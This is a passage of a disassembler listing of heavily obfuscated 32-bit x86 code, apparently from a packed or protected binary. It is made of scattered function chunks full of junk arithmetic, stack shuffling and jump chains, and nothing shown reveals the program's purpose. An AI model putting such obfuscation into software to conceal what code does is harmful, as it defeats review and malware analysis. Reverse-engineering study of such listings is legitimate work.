sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_59AA81: ; CODE XREF: sub_59A7E7-102Fj mov bl, 97h and bl, 0C6h xor bl, 76h add ch, bl jmp loc_5A1A42 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59AA90: ; CODE XREF: sub_59C979+579Bj add ebx, edi pop edi sub ebx, 164137F7h pop esi push ecx mov ecx, 2 jmp loc_5A263D ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59AAA5: ; CODE XREF: sub_5AA2D1+3852j mov ah, 0DCh sub ch, ah pop eax sub al, ch jmp loc_5AA614 ; --------------------------------------------------------------------------- loc_59AAB1: ; CODE XREF: sub_5AA2D1+3E4Aj mov al, 72h jmp loc_5A6905 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_59AAB8: ; CODE XREF: sub_5B03B3-F307j sub esi, 60FE08C8h add esi, ebx add esi, 60FE08C8h jmp loc_5A96D1 ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59AACB: ; CODE XREF: sub_5A0FFF-3BC2j xor dh, 1Ah add dh, 0D6h mov bh, 54h xor bh, dh pop edx inc bh push edx mov dl, 3Ch shr dl, 1 xor dl, 0EBh jmp loc_59C15E ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_59AAE5: ; CODE XREF: sub_5AD243+221Ej pop ebp sub esp, 4 mov [esp-8+arg_4], ebp jmp loc_59B7B8 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_59AAF4: ; CODE XREF: sub_59F1C3+3570j sub edx, 4 xchg edx, [esp+4+var_4] jmp loc_5A4090 ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59AAFF: ; CODE XREF: sub_59EE3E+28D5j pop edi inc edi jle loc_5A16E6 not edi xor edi, 4777641Ch jnz loc_5A5243 add edi, 3D9CDE1Ch mov ecx, edi pop edi push ebp mov ebp, edi mov ah, bl loc_59AB23: ; DATA XREF: sdfs____:00599048o mov cx, [esp+0] jmp loc_5A59E9 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_59AB2C: ; CODE XREF: sub_5AFA26-2818j mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx push ebp mov ebp, 4 jmp loc_5A6A6B ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59AB42: ; CODE XREF: sub_5A79BE-BA25j or ecx, 4D030CD6h push esi jmp loc_59F56C ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59AB4E: ; CODE XREF: sub_59A26C+B70Ej pop edi jmp loc_5A7D50 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE7B8 loc_59AB54: ; CODE XREF: sub_5AE7B8-DF5Cj mov esi, [esp+8+var_8] add esp, 4 jmp loc_599901 ; END OF FUNCTION CHUNK FOR sub_5AE7B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59AB62: ; CODE XREF: sub_5992DA+6j add edi, ebx pop ebx xor edi, [esp+4+var_6+2] xor [esp+4+var_6+2], edi xor edi, [esp+4+var_6+2] pop esp jmp loc_59BD59 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_59AB74: ; CODE XREF: sub_59EE3E-3731j ; sub_59A479+C7BCj not ecx add ecx, 0F7C37BBAh add edx, ecx pop ecx jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_59AB84: ; CODE XREF: sub_5AC803-225Dj add esi, 1 jmp loc_5A55D1 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_59AB8F: ; CODE XREF: sub_5AD993-1FBBj add edi, 4 add edi, 4 xchg edi, [esp-0Ch+arg_8] pop esp push ebx push [esp-0Ch+arg_C] pop ebx pop [esp-0Ch+arg_8] pop esp mov [esp-14h+arg_10], ecx push 3474h mov [esp-10h+arg_C], esi jmp loc_5A9501 ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59ABB6: ; CODE XREF: sub_5A2E28+A469j add edi, esi pop esi add edi, ebx sub edi, 51F333DCh add edi, 1BF687Fh jmp loc_59F206 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_59ABCC: ; CODE XREF: sub_59982C+766Cj ; sub_5A9D64:loc_5A2572j add ebx, 0A95A29D5h push ebx inc [esp+10h+var_10] jmp loc_5A74EC ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59ABDB: ; CODE XREF: sub_59F02F+109ADj mov ebx, [esp+0Ch+var_C] push ebp jmp loc_5AAF67 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_59ABE4: ; CODE XREF: sub_5AF294-8F3Aj mov edi, ecx mov ecx, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], esi mov esi, edi mov ebx, esi mov esi, [esp+0] add esp, 4 pop edi neg ebx sub ebx, 5BE20768h jmp loc_59D8B8 ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59AC13: ; CODE XREF: sub_5AA2D1+2832j pop esp xor eax, edi push [esp-14h+arg_10] pop edi push edx jmp loc_5A9B09 ; --------------------------------------------------------------------------- loc_59AC20: ; CODE XREF: sub_5A580F-AA58j ; sub_5AA2D1-124Dj ja loc_5A0B69 add eax, 1F276869h not eax inc eax jmp loc_5AFD90 ; --------------------------------------------------------------------------- loc_59AC33: ; CODE XREF: sub_5AA2D1-10A1j dec ecx xor ecx, 0BCD31F35h push ecx add [esp-0Ch+arg_8], 3403427Dh jmp loc_59F391 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59AC47: ; CODE XREF: sdfs____:005A85DBj add esp, 4 jmp loc_5ADE63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_59AC4F: ; CODE XREF: sub_5A118F+2016j pop ebx sub dh, 2Eh push ecx jmp loc_5ABD5A ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_59AC59: ; CODE XREF: sub_5A2166+C748j add esi, 287C75B4h jmp loc_5A8A44 ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59AC64: ; CODE XREF: sub_5A2E28+B0FAj xor ecx, 4B02B769h mov edx, ecx pop ecx not edx jmp loc_5A83CA ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_59AC74: ; CODE XREF: sub_59ED98+C8D1j pop esp jmp loc_5AD3F6 ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_59AC7A: ; CODE XREF: sub_5A16B8+35A6j sub edi, edx add edi, 7ECD1A0Fh mov edx, [esp+0Ch+var_C] add esp, 4 xchg edi, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+4+var_4], edi sub esp, 4 jmp loc_5AB8DD ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59AC9C: ; CODE XREF: sub_5AD795-51FAj push [esp+4+var_4] mov edi, [esp+8+var_8] add esp, 4 add esp, 4 push edi mov ebx, [esp+4+var_4] add esp, 4 jmp loc_5A20B6 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5735 loc_59ACB7: ; CODE XREF: sub_5A5735-94E8j ; sdfs____:005AD32Dj pop ecx add ecx, 47FC2546h jmp loc_5AF76D ; END OF FUNCTION CHUNK FOR sub_5A5735 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59ACC3: ; CODE XREF: sub_5AA2D1-269Dj push eax mov ah, 2Ch dec ah or ah, 8Bh jmp loc_59BE7A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59ACD0 proc near ; DATA XREF: sdfs____:00599084o mov ax, [esp+0] jmp sub_59A66A sub_59ACD0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59ACD9: ; CODE XREF: sub_5A2E28-8F3j xchg edi, [esp-4+arg_0] pop esp mov [esp-8+arg_4], edi push 104322BEh pop edi jmp loc_5A691E ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59ACEB: ; CODE XREF: sub_5A6BBC+47CDj pop ebp shr ecx, 7 push 3F43h mov [esp+0], ebx push dword ptr [esp+0] push [esp+4+var_4] jmp loc_59AE5A ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3699 loc_59AD02: ; CODE XREF: sub_5A3699+6j add esi, ebx jmp loc_59B63E ; END OF FUNCTION CHUNK FOR sub_5A3699 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59AD09: ; CODE XREF: sub_5992DA+15BA7j shr ch, 7 jmp loc_5A1AF6 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59AD11: ; CODE XREF: sub_5AD795-13EEDj xchg ecx, [esp+4+var_4] jmp loc_5A7949 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59AD19: ; CODE XREF: sub_5A10E3+4AB3j ; sub_5A580F+42B4j sub dword ptr [esp+0], 1CFC059Fh sub esp, 4 jmp loc_59ECE2 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C2B8 loc_59AD2B: ; CODE XREF: sub_59C2B8+3F12j push [esp+4+var_4] pop esi jmp sub_5AB2EA ; END OF FUNCTION CHUNK FOR sub_59C2B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59AD34: ; CODE XREF: sub_5992DA+6D75j push 4F4A3DF1h pop edi add edi, 0B0B5C213h jmp loc_5A7F7A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B95E loc_59AD45: ; CODE XREF: sub_59B95E+B697j sub edx, ebp pop ebp jmp loc_59FDAD ; END OF FUNCTION CHUNK FOR sub_59B95E ; =============== S U B R O U T I N E ======================================= sub_59AD4D proc near ; CODE XREF: sub_59FC02+A5DAj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], eax mov eax, 30370683h jmp loc_59944E sub_59AD4D endp ; =============== S U B R O U T I N E ======================================= sub_59AD5D proc near ; CODE XREF: sub_59A46C+1j var_2 = word ptr -2 ; FUNCTION CHUNK AT 005A3E48 SIZE 0000001C BYTES push bx push edx mov dl, 0FBh mov bh, 11h sub bh, dl pop edx sub al, 0F0h sub al, bh jmp loc_5A3E48 sub_59AD5D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59AD70: ; CODE XREF: sub_5AA2D1-79F9j mov dl, 0E8h push ax mov al, 6Ah jmp loc_5A7938 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_59AD7B proc near ; CODE XREF: sub_5A4E04+7356j ; FUNCTION CHUNK AT 0059D495 SIZE 00000024 BYTES push ebp mov ebp, esp push edi mov edi, 6B470548h jmp loc_59D495 sub_59AD7B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_59AD89: ; CODE XREF: sub_59F1F3-265Ej push dword ptr [esp+0] pop edi add esp, 4 jmp loc_5A68C3 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59AD98: ; CODE XREF: sub_5A2E28-4C80j pop eax xor edx, esi mov esi, [esp-0Ch+arg_8] jmp loc_59EAD9 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59ADA3: ; CODE XREF: sdfs____:0059A336j ; sub_5AA2D1-1F92j add ah, 0AFh jmp loc_5AD1D9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59ADAB: ; CODE XREF: sub_5A580F-795Dj jg loc_59BBE6 sub edi, 3B4229CCh jno loc_59AC20 xor al, 95h pop eax ; END OF FUNCTION CHUNK FOR sub_5A580F ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_59ADC0: ; CODE XREF: sub_5AB207:loc_5A6DC5j or ecx, 311771C6h jz loc_59EA61 sub ecx, 3FB773FAh mov ebx, ecx pop ecx sub edi, 1FDF2007h sub edi, ebx push ebx mov ebx, 50C73524h push eax mov eax, 455717F5h sub ebx, eax pop eax jmp loc_5A87A2 ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59ADF1: ; CODE XREF: sub_59D6B8+106FBj push ecx push 0B5Bh mov [esp+10h+var_10], edi mov edi, 6C735E10h sub edi, 4B9C01C2h jmp loc_5AFE51 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_59AE0A: ; CODE XREF: sub_5A16B8+4j push 73D9h jmp loc_5A49EA ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A26E8 loc_59AE14: ; CODE XREF: sub_5A26E8-450j pop edi push eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp+0Ch+var_C] pop esp sub ebp, 32712ED6h sub esp, 4 mov [esp+0Ch+var_C], edx mov edx, 46E34A6Eh push edi jmp loc_5AE41A ; END OF FUNCTION CHUNK FOR sub_5A26E8 ; =============== S U B R O U T I N E ======================================= sub_59AE39 proc near ; DATA XREF: sdfs____:00598E58o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A1F62 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A3906 SIZE 00000018 BYTES lodsd xor eax, ebx push 1E3Ah mov [esp+4+var_4], ebp mov ebp, 74FB89B0h jmp loc_5A3906 sub_59AE39 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59AE4E: ; CODE XREF: sub_59D6B8+10CCj pop esp push ebp mov ebp, 50E8064Ah jmp loc_5AE66D ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59AE5A: ; CODE XREF: sub_5A6BBC-BEBFj pop eax add esp, 4 push 11F1h mov [esp+4+var_4], esi push esp pop esi push 3539h mov [esp+8+var_8], eax push edi push ecx mov ecx, 48817BEFh jmp loc_59FAC6 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59AE7C: ; CODE XREF: sub_59A26C+F10Bj add esi, 4 xor esi, [esp-8+arg_4] xor [esp-8+arg_4], esi xor esi, [esp-8+arg_4] pop esp push 316Dh mov [esp-8+arg_4], eax push 818h jmp loc_5A8002 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_59AE9B: ; CODE XREF: sub_5B03B3-2D2Aj push ecx mov ecx, 1000000h mov ebx, ecx pop ecx jmp loc_5ABE58 ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A4E8 loc_59AEA9: ; CODE XREF: sub_59A4E8+10C71j mov edi, 6E311520h push edx mov edx, edi jmp loc_5A6F59 ; END OF FUNCTION CHUNK FOR sub_59A4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59AEB6: ; CODE XREF: sub_5A0AA2-63B6j mov [esp+8+var_8], ecx jmp loc_5A1219 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_59AEBE: ; CODE XREF: sub_5B0377-112Aj mov edi, 93D72447h jmp loc_5A3580 ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_59AEC8: ; CODE XREF: sub_5AF2D9-4F96j mov ecx, [esp+10h+var_10] jmp sub_5A491A ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59AED0: ; CODE XREF: sub_5AA2D1-5D01j push 891h jmp loc_5AA288 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB82 loc_59AEDA: ; CODE XREF: sub_59DB82+3478j mov [esp+0], cx jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59DB82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C1E9 loc_59AEE3: ; CODE XREF: sub_59C1E9+5187j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59C1E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A06C1 loc_59AEE8: ; CODE XREF: sub_5A06C1-2ABj pop eax jmp loc_5A082F ; END OF FUNCTION CHUNK FOR sub_5A06C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59AEEE: ; CODE XREF: sub_5A5EFF+2E9Cj mov ecx, 70BD07D8h not ecx add ecx, 47F55756h add ecx, 5DADDE89h or esi, ecx pop ecx or esi, 1F582972h sub esi, 97C8470Eh sub ecx, esi pop esi jmp loc_5AF661 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_59AF18: ; CODE XREF: sub_59B2E4-EF8j not ecx add ecx, 1 jmp loc_5AC2A3 ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_59AF25: ; CODE XREF: sub_59FC02+A5F1j sub eax, 4BBD1050h jmp loc_5A7BB3 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_59AF2F: ; CODE XREF: sub_5A9EBF-1C5Dj mov edx, [esp+0Ch+var_C] add esp, 4 add ecx, edx sub ecx, 51A73B7Dh mov edx, [esp+8+var_8] jmp loc_59A0FC ; --------------------------------------------------------------------------- loc_59AF45: ; CODE XREF: sub_5A9EBF-10828j add ebx, 11C12E8Eh sub ebx, ebp jmp loc_5A24DC ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59AF52: ; CODE XREF: sub_5A0AA2-3618j ; sub_5AD993:loc_5AF673j inc ch jl loc_5A637F jmp loc_5A7AF5 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_59AF5F: ; CODE XREF: sub_5A9EBF-58CDj sub eax, 1EB6104Bh jo loc_5A8C6A xor eax, 5092D7E4h mov ebp, eax pop eax mov ecx, esi pop esp ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_59AF75: ; CODE XREF: sub_5AD84A-B5AAj and ebx, 74986DD8h add ebx, 0AFEFBE7Ch mov esi, ebx jmp loc_5A95D9 ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59AF88: ; CODE XREF: sub_59D6B8+5BFj mov [esp+10h+var_10], edi push ebp mov ebp, 5C976EB7h mov edi, ebp mov ebp, [esp+14h+var_14] add esp, 4 dec edi push 0A87h mov [esp+14h+var_14], eax mov eax, 0EE25678h jmp loc_5A1845 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59AFAF: ; CODE XREF: sub_5992DA+16643j sub dh, 58h dec dh sub dh, 2Ch jg loc_59F28D xor dh, 1Ah mov ah, dh pop edx jmp loc_5AD751 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- mov [esp], ecx ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_59AFCB: ; CODE XREF: sub_5A21A4+AC4j add eax, edx pop edx jmp loc_5ADECF ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_59AFD3: ; CODE XREF: sub_5ADD33-2D6Ej xchg ecx, [esp+4+var_4] jmp loc_5AB950 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A516 loc_59AFDB: ; CODE XREF: sub_59A516+12j add [esp+8+var_8], 4 jmp loc_5A3165 ; END OF FUNCTION CHUNK FOR sub_59A516 ; =============== S U B R O U T I N E ======================================= sub_59AFE7 proc near ; DATA XREF: sdfs____:00598FACo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005AAEF4 SIZE 0000002E BYTES push ebp jmp loc_5AAEF4 sub_59AFE7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_59AFED: ; CODE XREF: sub_5A81C4+3j mov [esp+4+var_4], ebp jmp loc_5A4FF2 ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59AFF5: ; CODE XREF: sub_5AA2D1+209Aj sub ecx, 41067E36h jmp loc_5A3A11 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_59B000: ; CODE XREF: sub_5AF2D9-D013j add edx, 4 push 7957h mov [esp+14h+var_14], eax mov eax, 4 add edx, eax pop eax xchg edx, [esp+10h+var_10] pop esp dec ecx xor ecx, 3810140h sub ecx, 6B964FBAh jl loc_59A632 add ecx, 69AE4D94h push ecx pop ebx mov edi, edi push ecx loc_59B038: ; CODE XREF: sub_5AC7C6+24j pop eax add ebx, 4 xor ebx, [esp+0Ch+var_C] jmp loc_59A9C5 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59B047: ; CODE XREF: sub_5A0FFF+142Fj mov ebx, edx pop edx jmp loc_59BBFD ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A26E8 loc_59B04F: ; CODE XREF: sub_5A26E8-5E0Bj push 4D00h mov [esp+4+var_4], edx jmp loc_5A0AE3 ; END OF FUNCTION CHUNK FOR sub_5A26E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_59B05C: ; CODE XREF: sub_59E94B:loc_5AA097j or ecx, 21CB7975h jbe loc_59E37C jmp loc_5A56A2 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59B06D: ; CODE XREF: sub_59D6B8+BE44j mov ax, word ptr [esp+14h+var_14] push ebx push esp mov ebx, [esp+1Ch+var_1C] add esp, 4 sub esp, 4 jmp loc_5AA3EE ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4A0 loc_59B081: ; CODE XREF: sub_59B4A0+809Aj pop edi jmp loc_5A3F71 ; END OF FUNCTION CHUNK FOR sub_59B4A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_59B087: ; CODE XREF: sub_5AF2D9-14C9Fj pop ecx push ecx push edx mov edx, 0A2317E6h push ebx mov ebx, edx mov ecx, ebx pop ebx pop edx not ecx push eax jmp loc_5A60E1 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_59B09E: ; CODE XREF: sub_5A3B60+723Fj inc esi sub esi, 0AC8EF089h mov eax, esi pop esi sub eax, 0EBA2E0BAh sub ebp, eax pop eax add [ebx], ebp pop ebp jmp loc_5A21EF ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59B0B8: ; CODE XREF: sub_59C979+56A7j mov eax, 55ED26F6h jmp loc_5AB3F0 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD13 loc_59B0C2: ; CODE XREF: sub_5ADD13-B08Ej ; sub_5A580F+7BC1j or edx, 4DDE0B55h or edx, 38A226BDh xor edx, 117021F2h neg edx add edx, 6C8F5E13h add ebp, edx pop edx sub ebp, 4 push edx mov edx, esp add edx, 4 push eax push esi mov esi, 4 mov eax, esi pop esi sub edx, eax pop eax xchg edx, [esp+0] pop esp jmp loc_59BC36 ; END OF FUNCTION CHUNK FOR sub_5ADD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_59B101: ; CODE XREF: sub_5A3E64+A510j mov ecx, esp push ebx mov ebx, 4 add ecx, ebx pop ebx sub ecx, 4 jmp loc_5A9B50 ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B114: ; CODE XREF: sub_5AA2D1-7D2Aj ; sub_5AA2D1-1EB2j push ecx jmp loc_5A8719 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_59B11A: ; CODE XREF: sub_5A9D64-59E4j and esi, edi pop edi jmp loc_59B88F ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_59B122: ; CODE XREF: sub_59BA35-1F4Bj ; sub_5A118F+CCA8j push edx push ecx mov ecx, 1 mov edx, ecx jmp loc_59D677 ; END OF FUNCTION CHUNK FOR sub_59BA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59B130: ; CODE XREF: sub_5AD795-128Dj xor bh, 3Ah xor cl, bh pop ebx or cl, 3 jmp loc_5A2937 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_59B13E: ; CODE XREF: sub_5AD6D4-BFF3j xchg esi, [esp+4+var_4] jmp loc_5A46B2 ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59B146: ; CODE XREF: sub_59D6B8+127A4j push eax jmp loc_5AE317 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- loc_59B14C: ; CODE XREF: sdfs____:005A118Aj add edx, eax pop eax xor edx, [esp] jmp loc_59FBC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION 